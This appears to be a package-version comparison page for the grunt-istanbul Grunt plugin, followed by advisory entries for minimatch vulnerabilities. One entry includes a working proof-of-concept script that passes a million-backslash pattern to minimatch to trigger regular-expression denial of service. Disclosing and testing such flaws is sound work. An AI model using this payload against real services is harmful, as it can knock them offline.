Grunt-istanbul is a Grunt plugin designed for JavaScript code coverage, streamlining the process of generating coverage reports directly within your Grunt workflows. Comparing version 0.6.1 and 0.6.0, the core functionality remains consistent; both versions rely on dependencies like Chalk for colorful console output, Istanbul for the core coverage instrumentation, and Nue.js. Developers upgrading from 0.6.0 to 0.6.1 will likely find the change to be minor, focused primarily on internal improvements or bug fixes. The key dependencies, including those for development such as Grunt, Grunt-contrib plugins for linting and unit testing, Isparta for ES6 coverage, and utilities like rimraf and dateformat, remain unchanged between the versions. Both versions share the same repository on GitHub, maintained by taichi, and indicate a commitment to supporting Grunt 0.4.5 through peer dependency.
The upgrade may address issues discovered in the short span between releases (0.6.0 released on June 12th, 2015 and 0.6.1 on June 16th, 2015). Although specific fixes aren't detailed in the provided metadata, updating is generally recommended to leverage the latest refinements. If users are not experiencing issues with 0.6.0 upgrading to 0.6.1 might not seem crucial to all , but important to stay up to date. The package offers a streamlined approach to integrating JavaScript code coverage into Grunt-based projects.
All the vulnerabilities related to the version 0.6.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.